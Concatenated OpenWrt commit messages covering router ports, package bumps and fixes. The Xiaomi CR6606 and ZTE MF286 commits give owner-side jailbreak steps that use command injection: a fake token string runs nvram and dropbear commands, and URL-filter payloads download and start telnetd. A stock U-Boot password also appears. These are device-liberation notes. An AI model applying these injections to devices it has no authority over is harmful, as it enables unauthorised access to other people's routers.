When Kernel 5.10 was enabled for mpc85xx, the kernel once again became too
large upon decompression (>7MB or so) to decompress itself on boot (see
FS#4110[1]).
There have been many attempts to fix booting from a compressed kernel on
the HiveAP-330:
- b683f1c36d ("mpc85xx: Use gzip compressed kernel on HiveAP-330")
- 98089bb8ba ("mpc85xx: Use uncompressed kernel on the HiveAP-330")
- 26cb167a5c ("mpc85xx: Fix Aerohive HiveAP-330 initramfs image")
We can no longer compress the kernel due to size, and the stock bootloader
does not support any other types of compression. Since an uncompressed
kernel no longer fits in the 8MiB kernel partition at 0x2840000, we need to
patch u-boot to autoboot by running variable which isn't set by the
bootloader on each autoboot.
This commit repartitions the HiveAP, requiring a new COMPAT_VERSION,
and uses the DEVICE_COMPAT_MESSAGE to guide the user to patch u-boot,
which changes the variable run on boot to be `owrt_boot`; the user can
then set the value of that variable appropriately.
The following has been documented in the device's OpenWrt wiki page:
<https://openwrt.org/toh/aerohive/hiveap-330>. Please look there
first/too for more information.
The from-stock and upgrade from a previous installation now becomes:
0) setup a network with a dhcp server and a tftp server at serverip
(192.168.1.101) with the initramfs image in the servers root directory.
1) Hook into UART (9600 baud) and enter U-Boot. You may need to enter
a password of administrator or AhNf?d@ta06 if prompted. If the password
doesn't work. Try reseting the device by pressing and holding the reset
button with the stock OS.
2) Once in U-Boot, set the new owrt_boot and tftp+boot the initramfs image:
Use copy and paste!
# fw_setenv owrt_boot 'setenv bootargs \"console=ttyS0,$baudrate\";bootm 0xEC040000 - 0xEC000000'
# save
# dhcp
# setenv bootargs console=ttyS0,$baudrate
# tftpboot 0x1000000 192.168.1.101:openwrt-mpc85xx-p1020-aerohive_hiveap-330-initramfs-kernel.bin
# bootm
3) Once openwrt booted:
carefully copy and paste this into the root shell. One step at a time
# 3.0 install kmod-mtd-rw from the internet and load it
opkg update; opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=y
# 3.1 create scripts that modifies uboot
cat <<- "EOF" > /tmp/uboot-update.sh
. /lib/functions/system.sh
cp "/dev/mtd$(find_mtd_index 'u-boot')" /tmp/uboot
cp /tmp/uboot /tmp/uboot_patched
ofs=$(strings -n80 -td < /tmp/uboot | grep '^ [0-9]* setenv bootargs.*cp\.l' | cut -f2 -d' ')
for off in $ofs; do
printf "run owrt_boot; " | dd of=/tmp/uboot_patched bs=1 seek=${off} conv=notrunc
done
md5sum /tmp/uboot*
EOF
# 3.2 run the script to do the modification
sh /tmp/uboot-update.sh
# verify that /tmp/uboot and /tmp/uboot_patched are good
#
# my uboot was: (is printed during boot)
# U-Boot 2009.11 (Jan 12 2017 - 00:27:25), Build: jenkins-HiveOS-Honolulu_AP350_Rel-245
#
# d84b45a2e8aca60d630fbd422efc6b39 /tmp/uboot
# 6dc420f24c2028b9cf7f0c62c0c7f692 /tmp/uboot_patched
# 98ebc7e7480ce9148cd2799357a844b0 /tmp/uboot-update.sh <-- just for reference
# 3.3 this produces the /tmp/u-boot_patched file.
mtd write /tmp/uboot_patched u-boot
3) scp over the sysupgrade file to /tmp/ and run sysupgrade to flash OpenWrt:
sysupgrade -n /tmp/openwrt-mpc85xx-p1020-aerohive_hiveap-330-squashfs-sysupgrade.bin
4) after the reboot, you are good to go.
Other notes:
- Note that after this sysupgrade, the AP will be unavailable for 7 minutes
to reformat flash. The tri-color LED does not blink in any way to
indicate this, though there is no risk in interrupting this process,
other than the jffs2 reformat being reset.
- Add a uci-default to fix the compat version. This will prevent updates
from previous versions without going through the installation process.
- Enable CONFIG_MTD_SPLIT_UIMAGE_FW and adjust partitioning to combine
the kernel and rootfs into a single dts partition to maximize storage
space, though in practice the kernel can grow no larger than 16MiB due
to constraints of the older mpc85xx u-boot platform.
- Because of that limit, KERNEL_SIZE has been raised to 16m.
- A .tar.gz of the u-boot source for the AP330 (a.k.a. Goldengate) can
be found here[2].
- The stock-jffs2 partition is also removed to make more space -- this
is possible only now that it is no longer split away from the rootfs.
- the console-override is gone. The device will now get the console
through the bootargs. This has the advantage that you can set a different
baudrate in uboot and the linux kernel will stick with it!
- due to the repartitioning, the partition layout and names got a makeover.
- the initramfs+fdt method is now combined into a MultiImage initramfs.
The separate fdt download is no longer needed.
- added uboot-envtools to the mpc85xx target. All targets have uboot and
this way its available in the initramfs.
[1]: https://bugs.openwrt.org/index.php?do=details&task_id=4110
[2]: magnet:?xt=urn:btih:e53b27006979afb632af5935fa0f2affaa822a59
Tested-by: Martin Kennedy <hurricos@gmail.com>
Signed-off-by: Martin Kennedy <hurricos@gmail.com>
(rewrote parts of the commit message, Initramfs-MultiImage,
dropped bootargs-override, added wiki entry + link, uboot-envtools)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
ksmbd is an upstream linux alternative to Samba which is lighterweight
and more performant, especially on underpowered devices.
Moving it here from the packages feed as it is now an upstream kernel
module. Also easier to update as version updates can be coordinated better
The next LTS kernel (5.15) has this included. A depend on kernel < 5.15
will need to be added later.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
The 80211r r0kh and r1kh defaults are generated from the md5sum of
"$mobility_domain/$auth_secret". auth_secret is only set when using EAP
authentication, but the default key is used for SAE/PSK as well. In
this case, auth_secret is empty, and the default value of the key can
be computed from the SSID alone.
Fallback to using $key when auth_secret is empty. While at it, rename
the variable holding the generated key from 'key' to 'ft_key', to avoid
clobbering the PSK.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[make ft_key local]
Signed-off-by: David Bauer <mail@david-bauer.net>
Add the STAs extended capabilities to the ubus STA information. This
way, external daemons can be made aware of a STAs capabilities.
This field is of an array type and contains 0 or more bytes of a STAs
advertised extended capabilities.
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch adds support for creation heartbeat led trigger with,
for example, this command:
ucidef_set_led_heartbeat "..." "..." "..."
from /etc/board.d/01_leds.
Signed-off-by: Alexey Smirnov <s.alexey@gmail.com>
This module was used solely by Buffalo WZR-HP-G300NH devices
and has become obsolete with the introduction of gpio-cascade.
Signed-off-by: Mauri Sandberg <maukka@ext.kapsi.fi>
Adds new kernel module for GPIO controlled multiplexer support.
Signed-off-by: Mauri Sandberg <maukka@ext.kapsi.fi>
Signed-off-by: Petr Štetiar <ynezz@true.cz> [missing commit description]
a87d010 uxc: remove unused printf parameter
ad65249 instance: exit in case asprintf() fails
Build with glibc should again work after this commit.
Fixes: e9e61d76fd ("procd: update to git HEAD")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
df1123e uxc: add support for user-defined settings
0272c7c uxc: allow editing settings using 'create'
a839518 uxc: clean up error handling
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
For sysupgrade on NAND/UBI devices there is the U-Boot environment
variable rootfs_data_max which can be used to limit the size of the
rootfs_data volume created on sysupgrade.
This stopped working reliable with recent kernels, probably due to a
race condition when reading the number of free erase blocks from sysfs
just after removing a volume.
Change the script to just try creating rootfs_data with the desired
size and retry with maximum size in case that fails. Hence calculating
the available size in the script can be dropped which works around the
problem.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
'uxc boot' is inteded to be called multiple times, so there is not need
to guard the first call on boot -- the actual code anyway didn't do
that, so just remove it.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This fixes the following security problem:
The command-line argument parser in tcpdump before 4.99.0 has a buffer
overflow in tcpdump.c:read_infile(). To trigger this vulnerability the
attacker needs to create a 4GB file on the local filesystem and to
specify the file name as the value of the -F command-line argument of
tcpdump.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
53caa1a fw4: resolve zone layer 2 devices for hw flow offloading
9fe58f5 fw4: rework and fix family inheritance logic
8795296 tests: mocklib: fix infinite recursion in wrapped print()
281b1bc tests: change mocked wan interface type to PPPoE
93b710d tests: mocklib: forward compatibility change
1a94915 fw4: only stage reflection rules if all required addrs are known
5c21714 fw4: add device iifname/oifname matches to DSCP and MARK rules
3eacc97 tests: adjust 01_ruleset test case to latest changes
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
a29bad9 compiler: fix patchlist corruption on switch statement syntax errors
86f0662 lib: change `ord()` to always return single byte value
116a8ce vallist: fix storing/retrieving short strings with 8bit byte value
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
When the uci configuration is created automatically during a very early
stage, where no entropy daemon is set up, generating the key directly is
not an option. Therefore we allow to set the private_key to "generate"
and generate the private key directly before the interface is taken up.
Signed-off-by: Leonardo Mörlein <me@irrelefant.net>
Tested-by: Jan-Niklas Burfeind <git@aiyionpri.me>
11adf0c source: convert source objects into proper uc_value_t type
3a49192 treewide: rework function memory model
7edad5c tests: add functional tests for builtin functions
d5003fd lib: fix leaking tokener in uc_json() on parse exception
5d0ecd9 lib: fix infinite loop on empty regexp matches in uc_replace()
3ad57f1 lib: fix infinite loop on empty regexp matches in uc_match()
32d596d lib: fix infinite loop on empty regexp matches in uc_split()
3e3f38d vm: ensure consistent trace output between gcc and clang compiled ucode
3600ded vm: fix leaking function value on call exception
3059295 vm: NULL-initialize pointer to make cppcheck happy
98e59bf source: zero-initialize conversion union to make cppcheck happy
7a65c14 run_tests.sh: change workdir to testcase directory during execution
afec8d7 run_tests.sh: support placing supplemental testcase files
3ada6e0 run_tests.sh: always treat outputs as text data
2cb627f program: rename bytecode load/write functions, track path of executed file
1094ffa lib: fix memory leak in uc_require_ucode()
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Xiaomi Mi Router CR6606 is a Wi-Fi6 AX1800 Router with 4 GbE Ports.
Alongside the general model, it has three carrier customized models:
CR6606 (China Unicom), CR6608 (China Mobile), CR6609 (China Telecom)
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 256MB DDR3 (ESMT M15T2G16128A)
- Flash: 128MB NAND (ESMT F59L1G81MB)
- Ethernet: 1000Base-T x4 (MT7530 SoC)
- WLAN: 2x2 2.4GHz 574Mbps + 2x2 5GHz 1201Mbps (MT7905DAN + MT7975DN)
- LEDs: System (Blue, Yellow), Internet (Blue, Yellow)
- Buttons: Reset, WPS
- UART: through-hole on PCB ([VCC 3.3v](RX)(GND)(TX) 115200, 8n1)
- Power: 12VDC, 1A
Jailbreak Notes:
1. Get shell access.
1.1. Get yourself a wireless router that runs OpenWrt already.
1.2. On the OpenWrt router:
1.2.1. Access its console.
1.2.2. Create and edit
/usr/lib/lua/luci/controller/admin/xqsystem.lua
with the following code (exclude backquotes and line no.):
```
1 module("luci.controller.admin.xqsystem", package.seeall)
2
3 function index()
4 local page = node("api")
5 page.target = firstchild()
6 page.title = ("")
7 page.order = 100
8 page.index = true
9 page = node("api","xqsystem")
10 page.target = firstchild()
11 page.title = ("")
12 page.order = 100
13 page.index = true
14 entry({"api", "xqsystem", "token"}, call("getToken"), (""),
103, 0x08)
15 end
16
17 local LuciHttp = require("luci.http")
18
19 function getToken()
20 local result = {}
21 result["code"] = 0
22 result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i
's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/drop
bear start;"
23 LuciHttp.write_json(result)
24 end
```
1.2.3. Browse http://{OWRT_ADDR}/cgi-bin/luci/api/xqsystem/token
It should give you a respond like this:
{"code":0,"token":"; nvram set ssh_en=1; nvram commit; ..."}
If so, continue; Otherwise, check the file, reboot the rout-
er, try again.
1.2.4. Set wireless network interface's IP to 169.254.31.1, turn
off DHCP of wireless interface's zone.
1.2.5. Connect to the router wirelessly, manually set your access
device's IP to 169.254.31.3, make sure
http://169.254.31.1/cgi-bin/luci/api/xqsystem/token
still have a similar result as 1.2.3 shows.
1.3. On the Xiaomi CR660x:
1.3.1. Login to the web interface. Your would be directed to a
page with URL like this:
http://{ROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/web/home#r-
outer
1.3.2. Browse this URL with {STOK} from 1.3.1, {WIFI_NAME}
{PASSWORD} be your OpenWrt router's SSID and password:
http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/misy-
stem/extendwifi_connect?ssid={WIFI_NAME}&password={PASSWO-
RD}
It should return 0.
1.3.3. Browse this URL with {STOK} from 1.3.1:
http://{MIROUTER_ADDR}/cgi-bin/luci/;stok={STOK}/api/xqsy-
stem/oneclick_get_remote_token?username=xxx&password=xxx&-
nonce=xxx
1.4. Before rebooting, you can now access your CR660x via SSH.
For CR6606, you can calculate your root password by this project:
https://github.com/wfjsw/xiaoqiang-root-password, or at
https://www.oxygen7.cn/miwifi.
The root password for carrier-specific models should be the admi-
nistration password or the default login password on the label.
It is also feasible to change the root password at the same time
by modifying the script from step 1.2.2.
You can treat OpenWrt Router however you like from this point as
long as you don't mind go through this again if you have to expl-
oit it again. If you do have to and left your OpenWrt router unt-
ouched, start from 1.3.
2. There's no official binary firmware available, and if you lose the
content of your flash, no one except Xiaomi can help you.
Dump these partitions in case you need them:
"Bootloader" "Nvram" "Bdata" "crash" "crash_log"
"firmware" "firmware1" "overlay" "obr"
Find the corespond block device from /proc/mtd
Read from read-only block device to avoid misoperation.
It's recommended to use /tmp/syslogbackup/ as destination, since files
would be available at http://{ROUTER_ADDR}/backup/log/YOUR_DUMP
Keep an eye on memory usage though.
3. Since UART access is locked ootb, you should get UART access by modify
uboot env. Otherwise, your router may become bricked.
Excute these in stock firmware shell:
a. nvram set boot_wait=on
b. nvram set bootdelay=3
c. nvram commit
Or in OpenWrt:
a. opkg update && opkg install kmod-mtd-rw
b. insmod mtd-rw i_want_a_brick=1
c. fw_setenv boot_wait on
d. fw_setenv bootdelay 3
e. rmmod mtd-rw
Migrate to OpenWrt:
1. Transfer squashfs-firmware.bin to the router.
2. nvram set flag_try_sys1_failed=0
3. nvram set flag_try_sys2_failed=1
4. nvram commit
5. mtd -r write /path/to/image/squashfs-firmware.bin firmware
Additional Info:
1. CR660x series routers has a different nand layout compared to other
Xiaomi nand devices.
2. This router has a relatively fresh uboot (2018.09) compared to other
Xiaomi devices, and it is capable of booting fit image firmware.
Unfortunately, no successful attempt of booting OpenWrt fit image
were made so far. The cause is still yet to be known. For now, we use
legacy image instead.
Signed-off-by: Raymond Wang <infiwang@pm.me>
Hardware
--------
SoC: QCN5502
Flash: 16 MiB
RAM: 128 MiB
Ethernet: 1 gigabit port
Wireless No1: QCN5502 on-chip 2.4GHz 4x4
Wireless No2: QCA9984 pcie 5GHz 4x4
USB: none
Installation
------------
Flash the factory image using the stock web interface or TFTP the
factory image to the bootloader.
What works
----------
- LEDs
- Ethernet port
- 5GHz wifi (QCA9984 pcie)
What doesn't work
-----------------
- 2.4GHz wifi (QCN5502 on-chip)
(I was not able to make this work, probably because ath9k requires
some changes to support QCN5502.)
Signed-off-by: Wenli Looi <wlooi@ucalgary.ca>
fgrep is deprecated and replaced by grep -F. The latter is used
throughout the tree whereas this is the only usage of the former.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Now that we have separate files for each kernel version,
only the version/hash for the target kernel are available.
This cause a missing hash error (and wrong kernel version) for
bpf-headers when a testing kernel version is used for the current target.
Fix this error by manually including the kernel version/hash file for the
specific kernel version requested.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Add a package for util-linux' ipcs command, to show information about
System V inter-process communication facilities.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
ZTE MF286 is an indoor LTE category 6 CPE router with simultaneous
dual-band 802.11ac plus 802.11n Wi-Fi radios and quad-port gigabit
Ethernet switch, FXS and external USB 2.0 port.
Hardware highlights:
- CPU: QCA9563 SoC at 775MHz,
- RAM: 128MB DDR2,
- NOR Flash: MX25L1606E 2MB SPI Flash, for U-boot only,
- NAND Flash: GD5F1G04UBYIG 128MB SPI NAND-Flash, for all other data,
- Wi-Fi 5GHz: QCA9882 2x2 MIMO 802.11ac radio,
- WI-Fi 2.4GHz: QCA9563 3x3 MIMO 802.11n radio,
- Switch: QCA8337v2 4-port gigabit Ethernet, with single SGMII CPU port,
- WWAN: MDM9230-based category 6 internal LTE modem in extended
mini-PCIE form factor, with 3 internal antennas and 2 external antenna
connections, single mini-SIM slot. Modem model identified as MF270,
- FXS: one external ATA port (handled entirely by modem part) with two
physical connections in parallel,
- USB: Single external USB 2.0 port,
- Switches: power switch, WPS, Wi-Fi and reset buttons,
- LEDs: Wi-Fi, Test (internal). Rest of LEDs (Phone, WWAN, Battery,
Signal state) handled entirely by modem. 4 link status LEDs handled by
the switch on the backside.
- Battery: 3Ah 1-cell Li-Ion replaceable battery, with charging and
monitoring handled by modem.
- Label MAC device: eth0
Console connection: connector X2 is the console port, with the following
pinout, starting from pin 1, which is the topmost pin when the board is
upright:
- VCC (3.3V). Do not use unless you need to source power for the
converer from it.
- TX
- RX
- GND
Default port configuration in U-boot as well as in stock firmware is
115200-8-N-1.
Installation:
Due to different flash layout from stock firmware, sysupgrade from
within stock firmware is impossible, despite it's based on QSDK which
itself is based on OpenWrt.
STEP 0: Stock firmware update:
As installing OpenWrt cuts you off from official firmware updates for
the modem part, it is recommended to update the stock firmware to latest
version before installation, to have built-in modem at the latest firmware
version.
STEP 1: gaining root shell:
Method 1:
This works if busybox has telnetd compiled in the binary.
If this does not work, try method 2.
Using well-known exploit to start telnetd on your router - works
only if Busybox on stock firmware has telnetd included:
- Open stock firmware web interface
- Navigate to "URL filtering" section by going to "Advanced settings",
then "Firewall" and finally "URL filter".
- Add an entry ending with "&&telnetd&&", for example
"http://hostname/&&telnetd&&".
- telnetd will immediately listen on port 4719.
- After connecting to telnetd use "admin/admin" as credentials.
Method 2:
This works if busybox does not have telnetd compiled in. Notably, this
is the case in DNA.fi firmware.
If this does not work, try method 3.
- Set IP of your computer to 192.168.1.22.
- Have a TFTP server running at that address
- Download MIPS build of busybox including telnetd, for example from:
https://busybox.net/downloads/binaries/1.21.1/busybox-mips
and put it in it's root directory. Rename it as "telnetd".
- As previously, login to router's web UI and navigate to "URL
filtering"
- Using "Inspect" feature, extend "maxlength" property of the input
field named "addURLFilter", so it looks like this:
<input type="text" name="addURLFilter" id="addURLFilter" maxlength="332"
class="required form-control">
- Stay on the page - do not navigate anywhere
- Enter "http://aa&zte_debug.sh 192.168.1.22 telnetd" as a filter.
- Save the settings. This will download the telnetd binary over tftp and
execute it. You should be able to log in at port 23, using
"admin/admin" as credentials.
Method 3:
If the above doesn't work, use the serial console - it exposes root shell
directly without need for login. Some stock firmwares, notably one from
finnish DNA operator lack telnetd in their builds.
STEP 2: Backing up original software:
As the stock firmware may be customized by the carrier and is not
officially available in the Internet, IT IS IMPERATIVE to back up the
stock firmware, if you ever plan to returning to stock firmware.
Method 1: after booting OpenWrt initramfs image via TFTP:
PLEASE NOTE: YOU CANNOT DO THIS IF USING INTERMEDIATE FIRMWARE FOR INSTALLATION.
- Dump stock firmware located on stock kernel and ubi partitions:
ssh root@192.168.1.1: cat /dev/mtd4 > mtd4_kernel.bin
ssh root@192.168.1.1: cat /dev/mtd8 > mtd8_ubi.bin
And keep them in a safe place, should a restore be needed in future.
Method 2: using stock firmware:
- Connect an external USB drive formatted with FAT or ext4 to the USB
port.
- The drive will be auto-mounted to /var/usb_disk
- Check the flash layout of the device:
cat /proc/mtd
It should show the following:
mtd0: 00080000 00010000 "uboot"
mtd1: 00020000 00010000 "uboot-env"
mtd2: 00140000 00020000 "fota-flag"
mtd3: 00140000 00020000 "caldata"
mtd4: 00140000 00020000 "mac"
mtd5: 00600000 00020000 "cfg-param"
mtd6: 00140000 00020000 "oops"
mtd7: 00800000 00020000 "web"
mtd8: 00300000 00020000 "kernel"
mtd9: 01f00000 00020000 "rootfs"
mtd10: 01900000 00020000 "data"
mtd11: 03200000 00020000 "fota"
Differences might indicate that this is NOT a vanilla MF286 device but
one of its later derivatives.
- Copy over all MTD partitions, for example by executing the following:
for i in 0 1 2 3 4 5 6 7 8 9 10 11; do cat /dev/mtd$i > \
/var/usb_disk/mtd$i; done
- If the count of MTD partitions is different, this might indicate that
this is not a standard MF286 device, but one of its later derivatives.
- (optionally) rename the files according to MTD partition names from
/proc/mtd
- Unmount the filesystem:
umount /var/usb_disk; sync
and then remove the drive.
- Store the files in safe place if you ever plan to return to stock
firmware. This is especially important, because stock firmware for
this device is not available officially, and is usually customized by
the mobile providers.
STEP 3: Booting initramfs image:
Method 1: using serial console (RECOMMENDED):
- Have TFTP server running, exposing the OpenWrt initramfs image, and
set your computer's IP address as 192.168.1.22. This is the default
expected by U-boot. You may wish to change that, and alter later
commands accordingly.
- Connect the serial console if you haven't done so already,
- Interrupt boot sequence by pressing any key in U-boot when prompted
- Use the following commands to boot OpenWrt initramfs through TFTP:
setenv serverip 192.168.1.22
setenv ipaddr 192.168.1.1
tftpboot 0x81000000 openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin
bootm 0x81000000
(Replace server IP and router IP as needed). There is no emergency
TFTP boot sequence triggered by buttons, contrary to MF283+.
- When OpenWrt initramfs finishes booting, proceed to actual
installation.
Method 2: using initramfs image as temporary boot kernel
This exploits the fact, that kernel and rootfs MTD devices are
consecutive on NAND flash, so from within stock image, an initramfs can
be written to this area and booted by U-boot on next reboot, because it
uses "nboot" command which isn't limited by kernel partition size.
- Download the initramfs-kernel.bin image
- Split the image into two parts on 3MB partition size boundary, which
is the size of kernel partition. Pad the output of second file to
eraseblock size:
dd if=openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin \
bs=128k count=24 \
of=openwrt-ath79-zte_mf286-intermediate-kernel.bin
dd if=openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin \
bs=128k skip=24 conv=sync \
of=openwrt-ath79-zte_mf286-intermediate-rootfs.bin
- Copy over /usr/bin/flash_eraseall and /usr/bin/nandwrite utilities to
/tmp. This is CRITICAL for installation, as erasing rootfs will cut
you off from those tools on flash!
- After backing up the previous MTD contents, write the images to the
respective MTD devices:
/tmp/flash_eraseall /dev/<kernel-mtd>
/tmp/nandwrite /dev/<kernel-mtd> \
/var/usb_disk/openwrt-ath79-zte_mf286-intermediate-kernel.bin
/tmp/flash_eraseall /dev/<kernel-mtd>
/tmp/nandwrite /dev/<rootfs-mtd> \
/var/usb_disk/openwrt-ath79-zte_mf286-intermediate-rootfs.bin
- Ensure that no bad blocks were present on the devices while writing.
If they were present, you may need to vary the split between
kernel and rootfs parts, so U-boot reads a valid uImage after skipping
the bad blocks. If it fails, you will be left with method 3 (below).
- If write is OK, reboot the device, it will reboot to OpenWrt
initramfs:
reboot -f
- After rebooting, SSH into the device and use sysupgrade to perform
proper installation.
Method 3: using built-in TFTP recovery (LAST RESORT):
- With that method, ensure you have complete backup of system's NAND
flash first. It involves deliberately erasing the kernel.
- Download "-initramfs-kernel.bin" image for the device.
- Prepare the recovery image by prepending 8MB of zeroes to the image,
and name it root_uImage:
dd if=/dev/zero of=padding.bin bs=8M count=1
cat padding.bin openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin >
root_uImage
- Set up a TFTP server at 192.0.0.1/8. Router will use random address
from that range.
- Put the previously generated "root_uImage" into TFTP server root
directory.
- Deliberately erase "kernel" partition" using stock firmware after
taking backup. THIS IS POINT OF NO RETURN.
- Restart the device. U-boot will attempt flashing the recovery
initramfs image, which will let you perform actual installation using
sysupgrade. This might take a considerable time, sometimes the router
doesn't establish Ethernet link properly right after booting. Be
patient.
- After U-boot finishes flashing, the LEDs of switch ports will all
light up. At this moment, perform power-on reset, and wait for OpenWrt
initramfs to finish booting. Then proceed to actual installation.
STEP 4: Actual installation:
- scp the sysupgrade image to the device:
scp openwrt-ath79-nand-zte_mf286-squashfs-sysupgrade.bin \
root@192.168.1.1:/tmp/
- ssh into the device and execute sysupgrade:
sysupgrade -n /tmp/openwrt-ath79-nand-zte_mf286-squashfs-sysupgrade.bin
- Wait for router to reboot to full OpenWrt.
STEP 5: WAN connection establishment
Since the router is equipped with LTE modem as its main WAN interface, it
might be useful to connect to the Internet right away after
installation. To do so, please put the following entries in
/etc/config/network, replacing the specific configuration entries with
one needed for your ISP:
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
option auth '<auth>' # As required, usually 'none'
option pincode '<pin>' # If required by SIM
option apn '<apn>' # As required by ISP
option pdptype '<pdp>' # Typically 'ipv4', or 'ipv4v6' or 'ipv6'
For example, the following works for most polish ISPs
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
option auth 'none'
option apn 'internet'
option pdptype 'ipv4'
If you have build with LuCI, installing luci-proto-qmi helps with this
task.
Restoring the stock firmware:
Preparation:
If you took your backup using stock firmware, you will need to
reassemble the partitions into images to be restored onto the flash. The
layout might differ from ISP to ISP, this example is based on generic stock
firmware.
The only partitions you really care about are "web", "kernel", and
"rootfs". For easy padding and possibly restoring configuration, you can
concatenate most of them into images written into "ubi" meta-partition
in OpenWrt. To do so, execute something like:
cat mtd5_cfg-param.bin mtd6-oops.bin mtd7-web.bin mtd9-rootfs.bin > \
mtd8-ubi_restore.bin
You can skip the "fota" partition altogether,
it is used only for stock firmware update purposes and can be overwritten
safely anyway. The same is true for "data" partition which on my device
was found to be unused at all. Restoring mtd5_cfg-param.bin will restore
the stock firmware configuration you had before.
Method 1: Using initramfs:
- Boot to initramfs as in step 3:
- Completely detach ubi0 partition using ubidetach /dev/ubi0_0
- Look up the kernel and ubi partitions in /proc/mtd
- Copy over the stock kernel image using scp to /tmp
- Erase kernel and restore stock kernel:
(scp mtd4_kernel.bin root@192.168.1.1:/tmp/)
mtd write <kernel_mtd> mtd4_kernel.bin
rm mtd4_kernel.bin
- Copy over the stock partition backups one-by-one using scp to /tmp, and
restore them individually. Otherwise you might run out of space in
tmpfs:
(scp mtd3_ubiconcat0.bin root@192.168.1.1:/tmp/)
mtd write <ubiconcat0_mtd> mtd3_ubiconcat0.bin
rm mtd3_ubiconcat0.bin
(scp mtd5_ubiconcat1.bin root@192.168.1.1:/tmp/)
mtd write <ubiconcat1_mtd> mtd5_ubiconcat1.bin
rm mtd5_ubiconcat1.bin
- If the write was correct, force a device reboot with
reboot -f
Method 2: Using live OpenWrt system (NOT RECOMMENDED):
- Prepare a USB flash drive contatining MTD backup files
- Ensure you have kmod-usb-storage and filesystem driver installed for
your drive
- Mount your flash drive
mkdir /tmp/usb
mount /dev/sda1 /tmp/usb
- Remount your UBI volume at /overlay to R/O
mount -o remount,ro /overlay
- Write back the kernel and ubi partitions from USB drive
cd /tmp/usb
mtd write mtd4_kernel.bin /dev/<kernel_mtd>
mtd write mtd8_ubi.bin /dev/<kernel_ubi>
- If everything went well, force a device reboot with
reboot -f
Last image may be truncated a bit due to lack of space in RAM, but this will happen over "fota"
MTD partition which may be safely erased after reboot anyway.
Method 3: using built-in TFTP recovery (LAST RESORT):
- Assemble a recovery rootfs image from backup of stock partitions by
concatenating "web", "kernel", "rootfs" images dumped from the device,
as "root_uImage"
- Use it in place of "root_uImage" recovery initramfs image as in the
TFTP pre-installation method.
Quirks and known issues
- Kernel partition size is increased to 4MB compared to stock 3MB, to
accomodate future kernel updates - at this moment OpenWrt 5.10 kernel
image is at 2.5MB which is dangerously close to the limit. This has no
effect on booting the system - but keep that in mind when reassembling
an image to restore stock firmware.
- uqmi seems to be unable to change APN manually, so please use the one
you used before in stock firmware first. If you need to change it,
please use protocok '3g' to establish connection once, or use the
following command to change APN (and optionally IP type) manually:
echo -ne 'AT+CGDCONT=1,"IP","<apn>' > /dev/ttyUSB0
- The only usable LED as a "system LED" is the green debug LED hidden
inside the case. All other LEDs are controlled by modem, on which the
router part has some influence only on Wi-Fi LED.
- Wi-Fi LED currently doesn't work while under OpenWrt, despite having
correct GPIO mapping. All other LEDs are controlled by modem,
including this one in stock firmware. GPIO19, mapped there only acts
as a gate, while the actual signal source seems to be 5GHz Wi-Fi
radio, however it seems it is not the LED exposed by ath10k as
ath10k-phy0.
- GPIO5 used for modem reset is a suicide switch, causing a hardware
reset of whole board, not only the modem. It is attached to
gpio-restart driver, to restart the modem on reboot as well, to ensure
QMI connectivity after reboot, which tends to fail otherwise.
- Modem, as in MF283+, exposes root shell over ADB - while not needed
for OpenWrt operation at all - have fun lurking around.
- MAC address shift for 5GHz Wi-Fi used in stock firmware is
0x320000000000, which is impossible to encode in the device tree, so I
took the liberty of using MAC address increment of 1 for it, to ensure
different BSSID for both Wi-Fi interfaces.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
ZTE MF286D is a LTE router with four gigabit ethernet ports
and integrated QMI mPCIE modem.
Hardware specification:
- CPU: IPQ4019
- RAM: 256MB
- Flash: NAND 128MB + NOR 2MB
- WLAN1: Qualcomm Atheros QCA4019 2.4GHz 802.11bgn 2x2:2
- WLAN2: Qualcomm Atheros QCA4019 5GHz 802.11anac 2x2:2
- LTE: mPCIe cat 12 card (Modem chipset MDM9250)
- LAN: 4 Gigabit Ports
- USB: 1x USB2.0 (regular port). 1x USB3.0 (mpcie - used by the modem)
- Serial console: X8 connector 115200 8n1
Known issues:
- Many LEDs are driven by the modem. Only internal LEDs and wifi LEDs
are driven by cpu.
- Wifi LED is triggered by phy0tpt only
- No VoIP support
- LAN1/WAN port is configured as WAN
- ZTE gives only one MAC per device. Use +1/+2/+3 increment for WAN
and WLAN0/1
Opening the case:
1. Take of battery lid (no battery support for this model, battery cage
is dummy).
2. Unscrew screw placed behind battery lid.
3. Take off back cover. It attached with multiple plastic clamps.
4. Unscrew four more screws hidden behind back case.
5. Remove front panel from blue chassis. There are more plastic
clamps.
6. Unscrew two boards, which secures the PCB in the chassis.
7. Extract board from blue chassis.
Console connection (X8 connector):
1. Parameters: 115200 8N1
2. Pin description: (from closest pin to X8 descriptor to farthest)
- VCC (3.3V)
- TX
- RX
- GND
Install Instructions:
Serial + initramfs:
1. Place OpenWrt initramfs image for the device on a TFTP in
the server's root. This example uses Server IP: 192.168.1.3
2. Connect serial console (115200,8n1) to X8 connector.
3. Connect TFTP server to RJ-45 port.
4. Stop in u-Boot and run u-Boot commands:
